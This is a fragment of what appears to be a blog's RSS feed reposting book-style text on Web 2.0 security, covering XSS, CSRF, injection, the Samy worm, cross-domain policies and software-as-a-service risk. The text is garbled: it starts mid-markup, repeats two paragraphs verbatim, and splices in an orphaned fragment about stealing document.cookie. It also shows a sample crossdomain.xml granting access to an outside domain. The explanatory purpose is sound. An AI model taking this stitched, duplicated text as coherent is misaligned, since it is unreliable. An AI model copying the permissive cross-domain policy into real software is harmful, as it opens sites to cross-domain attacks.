/&gt;Another risk with Web 2.0 is the ability to discover and enumerate attack surfaces in&lt;br /&gt;a far easier fashion than with a Web 1.0 application. For example, Web 2.0 applications&lt;br /&gt;often use AJAX frameworks. These frameworks contain lots of information about how&lt;br /&gt;the applications work. The framework information is often downloaded to a user’s&lt;br /&gt;browser via a .js file. This information makes it easy for an attacker to enumerate possible&lt;br /&gt;attack surfaces. On the flip side, while discovery may be easy, manipulating calls to the&lt;br /&gt;application may not be likewise. Unlike Web 1.0, where hidden form fields often&lt;br /&gt;contained information used in GET and POST parameters, some Web 2.0 frameworks&lt;br /&gt;often require a proxy to capture content, enumerate fields for possible injection, and then&lt;br /&gt;submit to the server. Though not as straightforward as Web 1.0, the attack surfaces are&lt;br /&gt;often larger.&lt;br /&gt;Software as a service solution, while not a technology but rather a trend in the Web 2.0&lt;br /&gt;space, has had a significant impact on security. Unlike in-house applications that run in&lt;br /&gt;an organization’s own data center, hosted software solution affect security significantly.&lt;br /&gt;An XSS flaw in an in-house CRM application simply allows a malicious employee to see&lt;br /&gt;another employee’s information; however, the same flaw in a hosted CRM application&lt;br /&gt;can allow one organization to see the sales leads of another company. Of course, the issues&lt;br /&gt;are not limited to CRM applications, but sensitive data, confidential information, and&lt;br /&gt;regulated data, such as health information and nonpublic personal information. Hosted&lt;br /&gt;solutions hold data of all types from all types of customers, hence their security of their&lt;br /&gt;applications far outweigh an in-house application accessible only to employees.&lt;br /&gt;Overall, Web 2.0’s impact on security is large. Borders between data created by the&lt;br /&gt;organization and data supplied by the web user are disappearing, hosted solutions are&lt;br /&gt;storing content from hundreds of organizations accessible through the same web&lt;br /&gt;interface, and developers are deploying new technologies without understanding the&lt;br /&gt;security implications of them. These issues have all impacted security in the online&lt;br /&gt;environment.&lt;br /&gt;&lt;script&gt;tag is not used, but simply the document.cookie value&lt;br /&gt;(highlighted in bold) since the code is already in a JavaScript array.&lt;br /&gt;In addition to XSS, injection attacks on Web 2.0 still target SQL and Lightweight&lt;br /&gt;Directory Access Protocol (LDAP), but now include XPATH/XQUERY, XML, JSON, and&lt;br /&gt;JavaScript arrays. Cross-site request forgery (CSRF) attacks are still present in Web 2.0,&lt;br /&gt;but they can now be worse with bidirectional CSRF (JavaScript hijacking). Further, the&lt;br /&gt;inconsistent security limits set on XMLHttpRequest (XHR) can leave Web 2.0 applications&lt;br /&gt;that are vulnerable to CSRF exposed to worm type behavior, automatic prorogation&lt;br /&gt;of a security flaw, rather that a simple one-click attack that would appear on a Web 1.0&lt;br /&gt;application. For example, since many Web 2.0 applications contain integrated interaction&lt;br /&gt;between users, when an application flaw such as XSS appears in the application, the&lt;br /&gt;propagation of the flaw from one user to the other is even more possible. The prorogating&lt;br /&gt;functionality was shown clearly with the Samy worm on MySpace.com, which is&lt;br /&gt;discussed in Chapter 5 and the first case study.&lt;br /&gt;Another security impact in addition to worm propagation is the idea of cross-domain&lt;br /&gt;attacks. Cross-domain attacks allow attackers to publish malicious content to web users&lt;br /&gt;without users’ knowledge or permission. While XHR specifically prevents cross-domain&lt;br /&gt;interaction, much to the developer’s dismay, there is some flexibility in certain Web 2.0&lt;br /&gt;technologies. For example, Flash has XHR restrictions, but it has a method to support&lt;br /&gt;cross-domain functionality. The following code shows an example of the flexibility from&lt;br /&gt;crossdomain.xml:&lt;br /&gt;&lt;cross-domain-policy&gt;&lt;br /&gt;&lt;allow-access-from domain=&quot;www.cybervillans.com&quot;&gt;&lt;br /&gt;&lt;/cross-domain-policy&gt;&lt;br /&gt;In addition to the domain name, a wildcard can be used such as domain=&quot;*&quot;.&lt;br /&gt;(Many web developers are bypassing XHR security controls to add cross-domain&lt;br /&gt;functionality to their web applications.) Cross-domain functionality becomes very scary&lt;br /&gt;when CSRF attacks are apparent. As noted, CSRF can force a user to perform actions&lt;br /&gt;without his or her knowledge or permission. With the ability of cross-domain support,&lt;br /&gt;CSRF attacks can allow an attacker or phisher to force actions across domains with a&lt;br /&gt;single click. Hence, clicking a story from a user’s blog might actually reduce your bank&lt;br /&gt;account by $10,000.&lt;br /&gt;Another risk with Web 2.0 is the ability to discover and enumerate attack surfaces in&lt;br /&gt;a far easier fashion than with a Web 1.0 application. For example, Web 2.0 applications&lt;br /&gt;often use AJAX frameworks. These frameworks contain lots of information about how&lt;br /&gt;the applications work. The framework information is often downloaded to a user’s&lt;br /&gt;browser via a .js file. This information makes it easy for an attacker to enumerate possible&lt;br /&gt;attack surfaces. On the flip side, while discovery may be easy, manipulating calls to the&lt;br /&gt;application may not be likewise. Unlike Web 1.0, where hidden form fields often&lt;br /&gt;contained information used in GET and POST parameters, some Web 2.0 frameworks&lt;br /&gt;often require a proxy to capture content, enumerate fields for possible injection, and then&lt;br /&gt;submit to the server. Though not as straightforward as Web 1.0, the attack surfaces are&lt;br /&gt;often larger.&lt;br /&gt;Software as a service solution, while not a technology but rather a trend in the Web 2.0&lt;br /&gt;space, has had a significant impact on security. Unlike in-house applications that run in&lt;br /&gt;an organization’s own data center, hosted software solution affect security significantly.&lt;br /&gt;An XSS flaw in an in-house CRM application simply allows a malicious employee to see&lt;br /&gt;another employee’s information; however, the same flaw in a hosted CRM application&lt;br /&gt;can allow one organization to see the sales leads of another company. Of course, the issues&lt;br /&gt;are not limited to CRM applications, but sensitive data, confidential information, and&lt;br /&gt;regulated data, such as health information and nonpublic personal information. Hosted&lt;br /&gt;solutions hold data of all types from all types of customers, hence their security of their&lt;br /&gt;applications far outweigh an in-house application accessible only to employees.&lt;br /&gt;Overall, Web 2.0’s impact on security is large. Borders between data created by the&lt;br /&gt;organization and data supplied by the web user are disappearing, hosted solutions are&lt;br /&gt;storing content from hundreds of organizations accessible through the same web&lt;br /&gt;interface, and developers are deploying new technologies without understanding the&lt;br /&gt;security implications of them. These issues have all impacted security in the online&lt;br /&gt;environment.&lt;br /&gt;&lt;/span&gt;&lt;/script&gt;&lt;/span&gt;</description><link>http://networknsecurity.blogspot.com/2009/02/web-20s-impact-on-security.html</link><author>noreply@blogger.com (VIP)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-895038967958225739.post-8886574751995696214</guid><pubDate>Sat, 28 Feb 2009 06:20:00 +0000</pubDate><atom:updated>2009-02-27T22:30:06.399-08:00</atom:updated><title>What Is Web 2.0?</title><description>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;http://basantamoharana.files.wordpress.com/2008/08/web2tree.jpg&quot;&gt;&lt;img style=&quot;margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 587px; height: 394px;&quot; src=&quot;http://basantamoharana.files.wordpress.com/2008/08/web2tree.jpg&quot; alt=&quot;&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;span style=&quot;font-family: trebuchet ms;font-size:100%;&quot; &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: trebuchet ms;font-size:100%;&quot; &gt;Web 2.0 is an industry buzz word that gets thrown around quite often. The term is often used for new web technology or comparison between products/services that extend from the initial web era to the existing one. For the purposes of this book, Web 2.0  addresses the new web technologies that are used to bring more interactivity to web applications, such as Google Maps and Live.com. Technologies such as Asynchronous JavaScript XML (AJAX), Cascading Style Sheets (CSS), Flash, XML, advanced usage of existing JavaScript, .Net, and ActiveX all fit under the Web 2.0 technology umbrella. While some of these technologies, such as ActiveX and Flash, have been around for awhile, organizations are just starting to use these technologies as core features of interactive web sites, rather than just visual effects. Additionally, Web 2.0 also includes a behavioral shift on the web, where users are encouraged to customize their own content on web applications rather than view static/ generic content supplied by an organization. For example, YouTube.com, MySpace.com, and blogging are a few examples of the Web 2.0 era, where these web applications are based on user supplied content. In the security world, any mention of a new technology often means that security is left out, forgotten, or simply marginalized. Unfortunately, this is also true about many Web 2.0 technologies. To complicate the issue further, the notion of “don’t ever trust user input” becomes increasingly difficult when an entire web application is based on user supplied input, ranging from HTML to Flash objects. In addition to the technology and behavior changes, Web 2.0 can also mean the shift from shrink-wrapped software to software as a service. During the early web era, downloading software from the web and running it on your server or desktop was the norm, ranging from Customer Relationship Management (CRM) applications to chat software. Downloading and managing software soon became a nightmare to organizations, as endless amount of servers, releases, and patches across hundreds of in-house applications drove IT costs through the roof. Organizations such as Google and Salesforce.com began offering traditional software as a service, meaning that nothing is installed or maintained by an individual or IT department. The individual or company would subscribe to the service, access it via a web browser, and use their CRM or chat application online. All server management, system updates, and patches are managed by the software company itself. Vendors solely need to make the software available to their users via an online interface, such as a web browser. This trend changed the client-server model; where the web browser is now the client and the server is a rich web application hosted on a backend in the data center. This model grew to be enormously popular, as the reduction of IT headache, software maintenance, and general software issues were no longer an in-house issue, but managed by the software vendor. As more and more traditional software companies saw the benefits, many of them followed the trend and began offering their traditional client-server applications online also, noted by the Oracle/Siebel online CRM solution. Similar to advertisement and music, software as a service was also around in Web 1.0, but it was called an Application Service Provider (ASP). ASPs failed miserably in Web 1.0, but similar to advertisements and music in Web 2.0, they are very healthy and strong. Hence, if a security flaw exists in a hosted software service, how does that affect a company’s information? Can a competitor exploit that flaw and gain the information for its advantage? Now that all types of data from different organizations are located in one place (the vendor’s web application and backend systems), does a security issue in the application mean game over for all customers? Another aspect of Web 2.0 are mash-up and plug-in pages. For example, many web applications allow users to choose content from a variety of sources. An RSS feed may come from one source and weather plug-in may come from another. While content is being uploaded from a variety of sources, the content is hosted on yet another source, such as a personalized Google home page or a customized CRM application with feeds from different parts of the organization. These mash-up and plug-in pages give users significant control over what they see. With this new RSS and plug-in environment, the security model of the application gets more complex. Back in Web 1.0, a page such as CNN.com would be ultimately responsible for the content and security of the site. However, now with many RSS and plug-in feeds, how do Google and Microsoft protect their users from malicious RSS feeds or hostile plug-ins? These questions make the process of securing Web 2.0 pages with hundreds of sources a challenging task, both for the software vendors as well as the end users. Similar to many buzz words on the web, Web 2.0 is constantly being overloaded and can mean different things to different topics. For the purposes of the book, we focus on the application frameworks, protocols, and development environments that Web 2.0 brings to the Internet.  &lt;/span&gt;</description><link>http://networknsecurity.blogspot.com/2009/02/what-is-web-20.html</link><author>noreply@blogger.com (VIP)</author><thr:total>0</thr:total></item></channel></rss>